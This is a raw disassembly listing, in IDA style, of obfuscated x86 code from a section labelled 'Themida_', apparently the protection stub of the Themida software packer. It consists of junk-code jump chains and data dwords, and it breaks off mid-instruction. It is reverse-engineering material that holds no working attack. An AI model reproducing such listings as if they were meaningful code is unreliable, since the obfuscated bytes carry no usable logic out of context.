mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5945BF ; --------------------------------------------------------------------------- dw 814Fh dd 7828D5C7h, 52DFF75Ah, 77B4E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59021E: ; CODE XREF: Themida_:0058CB7Bj mov cl, [esp] add esp, 4 shr cl, 8 dec cl shl cl, 4 xor cl, 0F8h sub al, cl pop ecx sub esp, 4 mov [esp], edx push ecx mov cl, 24h mov dl, 4Ch sub dl, 0BCh jmp loc_58DA28 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8B1C6F09h, 0A9E9242Ch, 0C100001Fh, 5CE904E6h, 89FFFFE7h dd 4C281E2h, 83000000h, 148704EAh, 0C895C24h, 57595424h dd 921108BFh, 0BB535530h, 12390ACBh, 6365EB81h, 0F38119CDh dd 3AEF32D6h, 5D03EB81h, 0FAE98FC2h, 5CFFFFD6h, 0E0E930FFh db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59029B: ; CODE XREF: Themida_:0058CF62j pop edi push 7C1Bh jmp loc_58EB8E ; --------------------------------------------------------------------------- dw 4BDh dd 0E9000000h, 4E45h, 42474FFh, 83241C8Bh, 48F04C4h, 4895C24h dd 51E08924h, 4B9h, 0E9C80100h, 1142h dword_5902D0 dd 380F68ADh, 4890000h, 5E08924h, 4, 63AEE9h, 0E9D8F600h ; DATA XREF: Themida_:0058B1E4o dd 0FFFFB5A3h ; --------------------------------------------------------------------------- loc_5902EC: ; CODE XREF: Themida_:0059506Fj mov [esp], esi add dword ptr [esp], 0C095090h pop edi sub edi, 0C095090h pop esi push esi mov esi, 20532E8Eh shr esi, 3 sub esi, 25004337h sub esi, 793BB041h sub edi, esi pop esi and ecx, edi pop edi shr ecx, 6 jmp loc_58CEB2 ; --------------------------------------------------------------------------- loc_590321: ; CODE XREF: Themida_:loc_594845j xor ebx, 5C567F63h add eax, 4F8B3455h sub eax, ebx jmp loc_594298 ; --------------------------------------------------------------------------- loc_590333: ; CODE XREF: Themida_:0058DC57j add esi, edx pop edx push ecx mov ecx, 62E37FF4h shl ecx, 3 dec ecx add ecx, 0FFFFFFFFh xor ecx, 171BFF9Ch add esi, ecx push dword ptr [esp] pop ecx add esp, 4 xchg esi, [esp] pop esp imul cx, ax jmp loc_596D5A ; --------------------------------------------------------------------------- dw 0EB81h dd 277D0950h, 4D0FC381h, 0EBC15747h, 908B0F02h, 81FFFFFBh dd 259CEBC3h, 0E9DA89E0h, 0FFFFE0B5h ; --------------------------------------------------------------------------- loc_590384: ; CODE XREF: Themida_:00596674j sub bh, 5Eh xor cl, bh pop ebx push edx mov dl, 0F9h add cl, 5Ch jmp loc_58D361 ; --------------------------------------------------------------------------- loc_590395: ; CODE XREF: Themida_:0058F15Bj add eax, 79845782h pop esi mov edi, [esp] jmp loc_5976B5 ; --------------------------------------------------------------------------- loc_5903A3: ; CODE XREF: Themida_:00596F97j mov [esp], cx jmp loc_58E83C ; --------------------------------------------------------------------------- dd 51241489h, 2B60E9h db 0 byte_5903B5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0058B214o aQsew db '$QИ╔W',0 db 0 ; --------------------------------------------------------------------------- loc_5903BF: ; CODE XREF: Themida_:00597215j sub dl, 0ECh jmp loc_597065 ; --------------------------------------------------------------------------- loc_5903C7: ; CODE XREF: Themida_:00595BABj jno loc_58FF02 jmp loc_59759C ; --------------------------------------------------------------------------- dw 0C381h dd 0E0259CEBh db 89h, 0DAh ; --------------------------------------------------------------------------- loc_5903DA: ; CODE XREF: Themida_:0059796Cj add edi, edx pop edx jmp loc_58F876 ; --------------------------------------------------------------------------- loc_5903E2: ; CODE XREF: Themida_:00596CEDj movzx eax, al jmp loc_58FE56 ; --------------------------------------------------------------------------- dw 0B850h dd 46483761h, 0FF05D0F7h, 0DFFFFFFh, 76E93B6Fh, 53363540h dd 0AD2D2BEEh, 16F8D93h, 9DE958C3h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59040F: ; CODE XREF: Themida_:005931BAj inc edi jmp loc_59239D ; --------------------------------------------------------------------------- db 5Ah, 66h, 89h dd 241C8BDEh, 0FFE447E9h db 0FFh ; --------------------------------------------------------------------------- loc_590421: ; CODE XREF: Themida_:0058B48Bj pop ecx jmp loc_590AE3 ; --------------------------------------------------------------------------- loc_590427: ; CODE XREF: Themida_:00598172j sub edx, 3FFD555Bh jmp loc_5972A1 ; --------------------------------------------------------------------------- loc_590432: ; CODE XREF: Themida_:005946C8j pop ecx jmp loc_58F436 ; --------------------------------------------------------------------------- dd 8904EC83h, 4812424h, 424h, 241C8B00h, 88EE9h db 0 ; --------------------------------------------------------------------------- loc_59044D: ; CODE XREF: Themida_:0058DDD5j xor edi, 0A7B55F74h jmp loc_595C05 ; --------------------------------------------------------------------------- loc_590458: ; CODE XREF: Themida_:0058CBC1j push ecx jmp loc_58CBE0 ; --------------------------------------------------------------------------- dw 5558h dd 0B5243481h, 5B44317Dh, 7DB5F381h, 0E4E94431h, 89FFFFD4h dd 0E9F389EEh, 4CB1h ; --------------------------------------------------------------------------- loc_59047C: ; CODE XREF: Themida_:0058DF1Ej push 7450h mov [esp], eax xchg edx, [esp] jmp loc_590AAE ; --------------------------------------------------------------------------- dd 0F3E9515Eh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_590493: ; CODE XREF: Themida_:0058F372j pop ebp jmp loc_58E186 ; --------------------------------------------------------------------------- loc_590499: ; CODE XREF: Themida_:005966FFj xchg edx, edi xchg edi, [esp] mov eax, [esp] add esp, 4 push 24A6h mov [esp], edi sub esp, 4 mov [esp], ecx push ebp push edi mov edi, 0D680CC6h push edi xor dword ptr [esp], 5FFE462Ah pop ebp xor ebp, 5FFE462Ah pop edi mov ecx, 0F297F33Bh add ecx, ebp jmp loc_58E6D1 ; --------------------------------------------------------------------------- dd 4EA81h, 14870000h, 4895C24h, 81585424h, 4ECh, 243C8900h dd 1632E9h, 5E220500h, 335F76DFh, 4312404h, 3EB3E924h dd 505D0000h, 7EE9E089h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59050F: ; CODE XREF: Themida_:00590B0Bj sub eax, 1655AE1h sub eax, 0EA55CAB3h sub edx, 42B42D98h sub edx, eax add edx, 42B42D98h pop eax sub edx, 61980A04h jmp loc_58C301 ; --------------------------------------------------------------------------- db 56h dd 1EAAB951h, 0E9570820h, 7801h, 281DB652h, 6C1EE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59054A: ; CODE XREF: Themida_:0058BBA7j inc edi jmp loc_595713 ; --------------------------------------------------------------------------- dd 1FCAEE81h, 0B6E92C52h, 5BFFFFEAh, 0E904ED83h, 6E76h ; --------------------------------------------------------------------------- loc_590564: ; CODE XREF: Themida_:00594433j xor ebp, [esp] mov esp, [esp] mov [esp], ebx jmp loc_597D39 ; --------------------------------------------------------------------------- loc_590572: ; CODE XREF: Themida_:00591925j pop esp mov [esp], ebx mov bh, 74h inc bh push edx jmp loc_59666D ; --------------------------------------------------------------------------- dd 0B8240489h, 7FFC78EEh, 0B80DD8F7h, 0C13A1832h, 0BD5502E8h dd 0D1791216h, 895DE801h, 0F12958C6h, 0FFFEE7E9h, 0ADD1E9FFh dd 48FFFFFh, 24248B24h, 0FFBC47E9h db 0FFh ; --------------------------------------------------------------------------- loc_5905B5: ; CODE XREF: Themida_:005910C9j mov [esp], ebx push edx mov edx, 0A035C5Bh mov ebx, edx mov edx, [esp] add esp, 4 jmp loc_58B670 ; --------------------------------------------------------------------------- loc_5905CB: ; CODE XREF: Themida_:0058EAA9j mov esi, 2 add edx, 8535A00h sub edx, 52596B1Eh sub edx, 61863996h jmp loc_5983D0 ; --------------------------------------------------------------------------- db 2Dh dd 38AD0B28h, 2805D829h, 5538AD0Bh, 0A3BD5557h, 0BF7B6D07h dd 0F4164B30h, 575DEF01h, 0E9242C8Bh, 0FFFFC7C2h, 0C181E189h dd 4, 3B7E9h db 0 ; --------------------------------------------------------------------------- loc_590619: ; CODE XREF: Themida_:0058FB6Dj push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_58B5DC ; --------------------------------------------------------------------------- dw 0EF81h dd 30F0A6Dh, 1EC7E9h, 0E9CA3100h, 1B87h ; --------------------------------------------------------------------------- loc_59063C: ; CODE XREF: Themida_:0058DED9j push eax push esp pop eax push 38D4h mov [esp], ecx mov ecx, 286D7CF6h jmp loc_59395C ; --------------------------------------------------------------------------- loc_590651: ; CODE XREF: Themida_:00597CCAj mov esi, 4 jmp loc_5957D7 ; --------------------------------------------------------------------------- loc_59065B: ; CODE XREF: Themida_:0058C021j ; Themida_:loc_58C0F3j push dword ptr [esp] pop edx add esp, 4 xor bl, al sub esp, 4 mov [esp], ecx mov ecx, 28h jmp loc_59128B ; --------------------------------------------------------------------------- loc_590677: ; CODE XREF: Themida_:0058F0F5j sub esp, 4 mov [esp], edx mov edx, 0 add edx, ecx push ebx mov ebx, 0 add ebx, edx add dword ptr [ebx], 1 jmp loc_594C7B ; --------------------------------------------------------------------------- loc_59069A: ; CODE XREF: Themida_:0059829Ej push ebx jmp loc_58EBB2 ; --------------------------------------------------------------------------- dd 0DF89F389h, 0AFE3E95Bh, 0F187FFFFh, 6641E9h db 0 ; --------------------------------------------------------------------------- loc_5906B1: ; CODE XREF: Themida_:0058F4E5j ; Themida_:00592CC4j push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp add eax, 4 push eax push dword ptr [esp+4] pop eax jmp loc_58BCF4 ; --------------------------------------------------------------------------- dd 4247C01h, 4246C81h, 584349E2h, 1A5CE95Fh, 0E1C10000h dd 0E9814106h, 0C854FA8Dh, 0E1E9CB31h, 53000063h, 4BBh dd 5BD90100h, 0C8DDE951h, 248BFFFFh, 0BE565324h, 3242F93h dd 0A7C4D168h, 0BF575B2Bh, 5C6367EFh, 0EDE9DFF7h, 55FFFFECh dd 57A7E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59071E: ; CODE XREF: Themida_:005921A1j pop ecx sub eax, 31091AE4h add eax, esi jmp loc_592812 ; --------------------------------------------------------------------------- loc_59072B: ; CODE XREF: Themida_:00594FF6j pop dword ptr [edi+20h] jmp loc_593256 ; --------------------------------------------------------------------------- db 0F6h dd 53DAF6DAh, 0C3FE07B3h, 0EB80EBD0h, 3EBC01Bh, 805BE380h dd 0DA009EC3h, 0E9D0005Bh, 0FFFFF08Ch ; --------------------------------------------------------------------------- loc_590754: ; CODE XREF: Themida_:0058D342j mov ecx, 4 jmp loc_5946A8 ; --------------------------------------------------------------------------- loc_59075E: ; CODE XREF: Themida_:005907E0j mov [esp], ebp sub esp, 4 jmp loc_594B09 ; --------------------------------------------------------------------------- dd 55BD801h, 4, 5C240487h, 81E68956h, 4C6h, 4808E900h dd 74FF0000h, 0C8B0424h, 301BE924h db 2 dup(0) word_590792 dw 4ACh ; DATA XREF: Themida_:0058B1E8o dd 122C9Eh, 531204D8h, 95B35351h, 0B798E952h, 0C781FFFFh dd 4, 8704EF83h, 895C243Ch, 0BB532414h, 704F179Fh, 1A53BB53h dd 0D9E93966h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5907C7: ; CODE XREF: Themida_:005912FDj add edi, eax sub edi, 77FB6DDFh mov eax, [esp] add esp, 4 and eax, edi mov edi, [esp] sub esp, 4 jmp loc_59075E ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FFAB8EE9h, 0BE5652FFh, 14CE3803h, 8102E6C1h, 3500AAE6h dd 58E68159h, 53619F07h, 0FFC4E1E9h db 0FFh ; --------------------------------------------------------------------------- loc_590809: ; CODE XREF: Themida_:0058D9DDj push edx mov edx, 77106B4Ch jmp loc_591C06 ; --------------------------------------------------------------------------- dd 815BDF89h, 0C248A8EDh, 81FD0174h, 0C248A8C5h, 53505F74h dd 0EB55C0BBh, 0F0E95656h, 83000006h, 59E904C4h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_59083B: ; CODE XREF: Themida_:00596925j add eax, 7BD620AFh push edi mov edi, 24657CE9h sub edi, 1 add edi, 2A5E272Fh push 2F85h jmp loc_59363B ; --------------------------------------------------------------------------- loc_59085C: ; CODE XREF: Themida_:00597F43j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], edi push eax mov eax, 68B848B4h mov edi, 9747B84Ch jmp loc_5912F7 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 1590000h, 57555EF0h, 0F86E9h, 7C2BBF00h, 0E7C12DDCh dd 6EFC108h, 8D72F781h, 0F9296C68h, 5493E9h db 0 ; --------------------------------------------------------------------------- loc_5908B1: ; CODE XREF: Themida_:00593636j mov dl, 90h jmp loc_597211 ; --------------------------------------------------------------------------- loc_5908B8: ; CODE XREF: Themida_:0058B865j mov [esp], esi mov esi, 194C3F9Ah add esi, 540E6678h push ecx mov ecx, 12569C5h inc ecx neg ecx sub ecx, 917FF024h xor esi, ecx pop ecx jmp loc_5931DE ; --------------------------------------------------------------------------- loc_5908DD: ; CODE XREF: Themida_:0058C133j dec al jmp loc_592363 ; --------------------------------------------------------------------------- dd 3302C283h, 14312414h, 24143324h, 6624248Bh, 9C243CD3h dd 0FFAA7EE9h, 24ECBEFFh, 65E9291Ah db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590907: ; CODE XREF: Themida_:005964E8j xor dword ptr [esp], 612D18C2h pop esi xor esi, 612D18C2h jmp loc_58E825 ; --------------------------------------------------------------------------- dw 52BDh dd 8110CB77h, 0A41659EAh, 74C28104h, 290A842Fh, 0E5A8E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590932: ; CODE XREF: Themida_:005910DCj push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59094A: ; CODE XREF: Themida_:005963F2j jmp loc_58F812 ; --------------------------------------------------------------------------- loc_59094F: ; CODE XREF: Themida_:00595F7Dj sub edx, 41AE7914h sub edx, 0FAC135Eh push esi mov esi, 679806B0h dec esi shr esi, 8 and esi, 2D766747h not esi sub esi, 0C542F762h sub edx, esi pop esi jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59097B: ; CODE XREF: Themida_:0058F508j ; Themida_:005984C7j or eax, 5A07146Eh jmp loc_592724 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FD62F6BDh, 0E9DDF718h, 6A4Eh, 413D9205h, 2DD8295Bh dd 5B413D92h, 21BD6857h, 2C890000h, 6AB46824h, 555D4B9Ah dd 44243481h, 5F57B36Ch, 3A36E9h db 0 ; --------------------------------------------------------------------------- loc_5909BD: ; CODE XREF: Themida_:0058CBB9j push ebp jmp loc_58E4D1 ; --------------------------------------------------------------------------- db 66h dd 3BCCF281h, 0E9D78966h, 2910h, 4E981h, 0C870000h, 0F78AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5909DE: ; CODE XREF: Themida_:00593736j jl loc_58DDF9 push ecx xor [esp], eax xor eax, [esp] xor [esp], eax not eax xchg eax, [esp] mov ecx, [esp] add esp, 4 sub ecx, 655D23F4h jp loc_59278E xor ecx, 1EFF2096h push edx jmp loc_593127 ; --------------------------------------------------------------------------- loc_590A14: ; CODE XREF: Themida_:00594611j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_590A19: ; CODE XREF: Themida_:00593E66j pop ebx jmp loc_590AD3 ; --------------------------------------------------------------------------- aRslj db 'RИLJ',0 ; DATA XREF: Themida_:0058B0B4o dd 2BA00h, 0D3010000h, 74FF535Ah, 8F5B0424h, 0E95C2404h dd 0FFFFF645h, 7E562D5Fh, 0A0E95CCAh db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590A47: ; CODE XREF: Themida_:005951D9j sub esi, 36C90AF4h mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add esi, 4 xchg esi, [esp] mov esp, [esp] push 1 push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_58B515 ; --------------------------------------------------------------------------- byte_590A85 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0058B228o dd 6659669Dh, 9C241CD3h, 0FFA8E6E9h, 240C87FFh, 8924248Bh dd 0EC68242Ch, 5D41BA65h, 1968E9h, 0A8CDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590AAE: ; CODE XREF: Themida_:00590487j push edx push ebp pop edx push dword ptr [esp] pop ebp add esp, 4 jmp loc_58F01B ; --------------------------------------------------------------------------- db 0E9h, 0B9h, 0A8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590AC2: ; CODE XREF: Themida_:0059280Dj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5913B0 ; --------------------------------------------------------------------------- loc_590AD3: ; CODE XREF: Themida_:00590A1Aj push 40F7h jmp loc_593003 ; --------------------------------------------------------------------------- loc_590ADD: ; CODE XREF: Themida_:00590AE5j pop edx jmp loc_58BE4C ; --------------------------------------------------------------------------- loc_590AE3: ; CODE XREF: Themida_:00590422j xor eax, edx jmp loc_590ADD ; --------------------------------------------------------------------------- loc_590AEA: ; CODE XREF: Themida_:0059317Bj sub al, 40h mov cx, [esp] add esp, 2 xor bl, al jmp loc_596519 ; --------------------------------------------------------------------------- loc_590AFA: ; CODE XREF: Themida_:0058FA7Aj jmp loc_592347 ; --------------------------------------------------------------------------- loc_590AFF: ; CODE XREF: Themida_:005957B3j xchg ebx, [esp] pop esp shr eax, 1 shl eax, 2 shl eax, 6 jmp loc_59050F ; --------------------------------------------------------------------------- loc_590B10: ; CODE XREF: Themida_:00593666j shl eax, 2 or eax, 61E14AEBh add eax, 961E8115h add ebp, eax pop eax jmp loc_592407 ; --------------------------------------------------------------------------- db 2Dh, 63h, 17h dd 575D014Bh, 2BFh, 29DC2D00h, 0B95131F5h, 6DE31FD5h, 8103E9C1h dd 8B3A6AF1h, 81E9D105h, 0AD1827E9h, 29E1810Ah, 81270A02h dd 0A70C8FC1h, 0F2EEE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590B5E: ; CODE XREF: Themida_:0058B41Cj jo loc_5927E3 or eax, 9687297h jg loc_593E4A inc eax jge loc_5915E2 jmp loc_58DDE5 ; --------------------------------------------------------------------------- db 81h dd 5D676CC6h, 0D5C68130h, 1E0C9FDh, 481AE9F0h db 2 dup(0) word_590B8E dw 8B66h ; DATA XREF: Themida_:0058B1A4o db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5960F1 ; --------------------------------------------------------------------------- loc_590B9A: ; CODE XREF: Themida_:0058D35Cj shl eax, 7 push ecx mov ecx, 0FFFFFFFFh sub eax, ecx jmp loc_591443 ; --------------------------------------------------------------------------- dw 87B5h dd 8059EE88h, 0D6F6A6CEh, 1E1D68h, 241C8900h, 0FE002CB7h dd 5AF3285Bh, 6866C300h, 0FBE96F3Ch, 8BFFFFF4h, 0C83B2424h dd 0FEE3E99Ch, 0E95BFFFFh, 5AE6h db 53h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp push 7823h jmp loc_590FA4 ; --------------------------------------------------------------------------- dw 0CE31h dd 5EF50159h, 8B242C87h, 0F662424h, 9C2404A3h, 0FFA766E9h dd 24248BFFh, 2424D366h, 0A759E99Ch db 2 dup(0FFh) word_590C22 dw 0F66h ; DATA XREF: Themida_:0058B1DCo dd 7D6802B6h, 8900007Bh, 5954240Ch, 4BE56h, 0F1010000h dd 0E78EE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590C3E: ; CODE XREF: Themida_:00593893j add edx, 4 push esi mov esi, 4 add edx, esi jmp loc_596CE3 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0EC810000h, 4, 0E9243C89h, 0FFFFB4D0h, 8159CE01h dd 0C86F8DEAh, 2025E929h db 2 dup(0) ; --------------------------------------------------------------------------- loc_590C76: ; CODE XREF: Themida_:00597F78j sub eax, 59A9657Bh sub eax, ebp add eax, 59A9657Bh push edx mov edx, 4CD95517h sub eax, edx mov edx, [esp] add esp, 4 add eax, 0EE15503h jmp loc_58C7F7 ; --------------------------------------------------------------------------- loc_590C9A: ; CODE XREF: Themida_:005956E9j mov esp, [esp] jmp loc_58B839 ; --------------------------------------------------------------------------- loc_590CA2: ; CODE XREF: Themida_:00596E25j add ebx, 0E7C0126h add ebx, 0DA4FCFDBh push edi push eax mov eax, 42A0936h mov edi, eax jmp loc_597B3D ; --------------------------------------------------------------------------- dd 0BB241C89h, 4, 2BE9DE01h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_590CCB: ; CODE XREF: Themida_:00592C3Cj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_5959DD ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 0C581E589h, 4, 4B850h, 0C5010000h dd 242C8758h, 0FFBB80E9h, 0E4E954FFh db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590D03: ; CODE XREF: Themida_:00593AB0j shl ch, 5 add ch, 14h sub bl, ch pop ecx sub al, bl mov ebx, [esp] add esp, 4 push dx push ebx mov bl, 0E0h push ecx mov ch, 8Ah push 0 sub [esp], ch mov ch, [esp] add esp, 4 shr ch, 3 add ch, 0CCh and bl, ch pop ecx inc bl js loc_596EFF add bl, 66h push eax mov al, 0E6h jmp loc_59519E ; --------------------------------------------------------------------------- db 59h ; --------------------------------------------------------------------------- loc_590D4A: ; CODE XREF: Themida_:0058FE75j add ebx, esi mov esi, [esp] jmp loc_5981CE ; --------------------------------------------------------------------------- dd 702CE828h, 0FF2434FFh, 83592434h, 0C48104C4h, 4, 4EC8352h dd 0E9240C89h, 0FFFFFE36h, 2C38166h, 45356840h, 0C890000h dd 0D6B96624h, 0E9C16657h, 0F1816602h, 296619B8h, 240C8BCBh dd 6604C483h, 5266C301h, 0C4DBA66h, 66D30166h, 8324148Bh dd 566602C4h, 31BB6653h, 0BA665207h, 816649C0h, 0E9201FC2h dd 0FFFFB58Fh ; --------------------------------------------------------------------------- loc_590DC0: ; CODE XREF: Themida_:005938D9j push ecx push eax push ebx push edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx push edx mov edx, 4 jmp loc_59755A ; --------------------------------------------------------------------------- dw 0DEF7h dd 36B2F681h, 44810FB6h, 2DA0424h, 44810BECh, 67BB0424h dd 7401587Fh, 0BD550424h, 587F67BBh, 8246C29h, 703C685Dh dd 1C890000h, 2DABB24h, 55E90BECh db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590E13: ; CODE XREF: Themida_:0058CE49j mov [esp], edi sub esp, 4 mov [esp], esp sub esp, 4 mov [esp], edi mov edi, 4 add [esp+4], edi jmp loc_591763 ; --------------------------------------------------------------------------- loc_590E36: ; CODE XREF: Themida_:0058C56Dj add ebp, 0A0E74CFEh sub ebx, 39856D1Dh add ebx, ebp add ebx, 39856D1Dh pop ebp xchg ebx, [esp] pop esp mov ax, [esp] push edi mov edi, esp push 1947h mov [esp], edx mov edx, 694C34ACh push ebx mov ebx, 766C1A21h jmp loc_59173D ; --------------------------------------------------------------------------- loc_590E6E: ; CODE XREF: Themida_:00593A7Dj add dl, 0FFh jmp loc_596A41 ; --------------------------------------------------------------------------- dw 3C8Bh dd 0FB4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_590E7E: ; CODE XREF: Themida_:0058FC2Aj ; Themida_:005936E2j push edx push ebx sub dword ptr [esp], 33CC6844h jmp loc_5976AF ; --------------------------------------------------------------------------- dword_590E8C dd 4EC83ACh, 0E9241C89h, 2B50h; --------------------------------------------------------------------------- loc_590E98: ; CODE XREF: Themida_:005960AFj push edx mov dl, 0F5h jmp loc_59757F ; --------------------------------------------------------------------------- dd 0FDAF75Ah, 16F98Dh, 4E28100h, 0F2FC17Ah, 5F7580h, 0F07B300h dd 34FFC0B6h, 8DB85087h, 3130290Eh, 0E9042444h, 47BCh ; --------------------------------------------------------------------------- loc_590ECC: ; CODE XREF: Themida_:0058D096j add esp, 4 sub ebx, 67280549h add ebx, 313F7E33h jmp loc_58D02E ; --------------------------------------------------------------------------- byte_590EE3 db 52h ; DATA XREF: Themida_:0058B328o dd 149B6855h, 2C8B007Bh, 0E9545224h, 1983h, 16FBE958h db 2 dup(0), 50h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_58C30E ; --------------------------------------------------------------------------- dword_590F10 dd 582434FFh, 8904EC83h, 0E589242Ch, 63E95357h, 8900004Dh ; DATA XREF: Themida_:0058B0A0o dd 5EF089DEh, 0C1D8F75Bh, 0AAE902E0h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590F33: ; CODE XREF: Themida_:00592CE9j xor edi, [esp] jmp loc_58D945 ; --------------------------------------------------------------------------- byte_590F3B db 31h ; DATA XREF: Themida_:0058B270o dd 1C33241Ch, 241C3124h, 307768h, 241C8900h, 0FFEA8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_590F51: ; CODE XREF: Themida_:0058CB8Cj mov bl, 0EBh shr bl, 4 shr bl, 3 jmp loc_594718 ; --------------------------------------------------------------------------- dw 0D5F6h dd 0D2F6D586h, 0FFD8F2E9h, 240487FFh, 243C895Ch, 2BFh dd 0C4D8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590F7A: ; CODE XREF: Themida_:00597B2Bj sub esp, 4 mov [esp], esi jmp loc_592E7E ; --------------------------------------------------------------------------- loc_590F88: ; CODE XREF: Themida_:00595611j shr ecx, 2 jnz loc_5925C9 add ecx, 2771231Dh push esi mov esi, ecx pop ecx pop esp xchg eax, [esp] jmp loc_58F440 ; --------------------------------------------------------------------------- loc_590FA4: ; CODE XREF: Themida_:00590BF9j mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx push edx jmp loc_58FC9A ; --------------------------------------------------------------------------- loc_590FBF: ; CODE XREF: Themida_:0059631Bj push ecx mov ecx, 4 add eax, ecx jmp loc_593DDB ; --------------------------------------------------------------------------- loc_590FCC: ; CODE XREF: Themida_:005975A6j mov [esp], edx mov edx, esp push 6279h mov [esp], ebx push 4 mov ebx, [esp] add esp, 4 add edx, 9D26D58h add edx, ebx jmp loc_595779 ; --------------------------------------------------------------------------- loc_590FF1: ; CODE XREF: Themida_:0059002Dj push 0E0F09E1h pop ecx xchg esi, ecx not esi jmp loc_58F0D0 ; --------------------------------------------------------------------------- dd 0E904EC83h, 2C60h ; --------------------------------------------------------------------------- loc_591008: ; CODE XREF: Themida_:00598531j pop esi add ecx, 6CE8A1C5h add ebx, ecx pop ecx xchg ebx, [esp] pop esp push ebp mov ebp, 32321166h sub ecx, ebp pop ebp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_595F29 ; --------------------------------------------------------------------------- loc_591033: ; CODE XREF: Themida_:00593F11j sub eax, 259B02Ch mov ebx, eax pop eax jmp loc_5922A4 ; --------------------------------------------------------------------------- loc_591040: ; CODE XREF: Themida_:0058BAB8j mov ebx, 135418E3h sub edi, ebx pop ebx xor ecx, edi mov edi, [esp] add esp, 4 push 2365h mov [esp], eax push esi jmp loc_593F02 ; --------------------------------------------------------------------------- aZht db 'ZhT',1Bh,0 align 4 dd 0B5240C89h, 0CC5801Ch, 0E800A02Ch, 0D0E9A004h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_591077: ; CODE XREF: Themida_:00592688j sub esp, 4 mov [esp], ecx jmp loc_592911 ; --------------------------------------------------------------------------- dw 0EF81h dd 89D035FDh, 525FFB29h, 1C64ADBAh, 81EAD11Dh, 2E3F18F2h dd 0AAB4E908h, 0F301FFFFh, 0D54FE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5910A6: ; CODE XREF: Themida_:0058D16Bj and esi, 37935EB4h neg esi jnp loc_58D9E2 not esi xor esi, 10035A1Dh sub edx, esi pop esi xor edx, [esp] pop edi pop edx push 3859h jmp loc_5905B5 ; --------------------------------------------------------------------------- loc_5910CE: ; CODE XREF: Themida_:00595929j pop dword ptr [eax] push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_590932 ; --------------------------------------------------------------------------- db 1, 0D3h, 5Ah dd 0FFD453E9h db 0FFh ; --------------------------------------------------------------------------- loc_5910E9: ; CODE XREF: Themida_:00593130j pop edx xor edx, 10FC68A5h neg edx shr edx, 1 push edx sub dword ptr [esp], 0FFFFFFFFh jmp loc_5956AD ; --------------------------------------------------------------------------- word_5910FE dw 8B66h ; DATA XREF: Themida_:0058B250o dd 8155240Ch, 4ECh, 24248900h, 4240483h, 0FFD116E9h db 0FFh ; --------------------------------------------------------------------------- loc_591115: ; CODE XREF: Themida_:00591F36j pop ebp jmp loc_59456A ; --------------------------------------------------------------------------- loc_59111B: ; CODE XREF: Themida_:00598365j pop eax shr eax, 4 js loc_58C2B0 jmp loc_58BBBE ; --------------------------------------------------------------------------- loc_59112A: ; CODE XREF: Themida_:00592D87j and esi, 3BDA1FE7h jbe loc_592455 xor esi, 0C77FFB99h jmp loc_598336 ; --------------------------------------------------------------------------- loc_591141: ; CODE XREF: Themida_:0058C8F0j shr eax, 1 add eax, 0D454E886h sub esi, eax jmp loc_59279A ; --------------------------------------------------------------------------- loc_59114F: ; CODE XREF: Themida_:0059588Cj push esp mov edx, [esp] add esp, 4 add edx, 4 sub edx, 4 xchg edx, 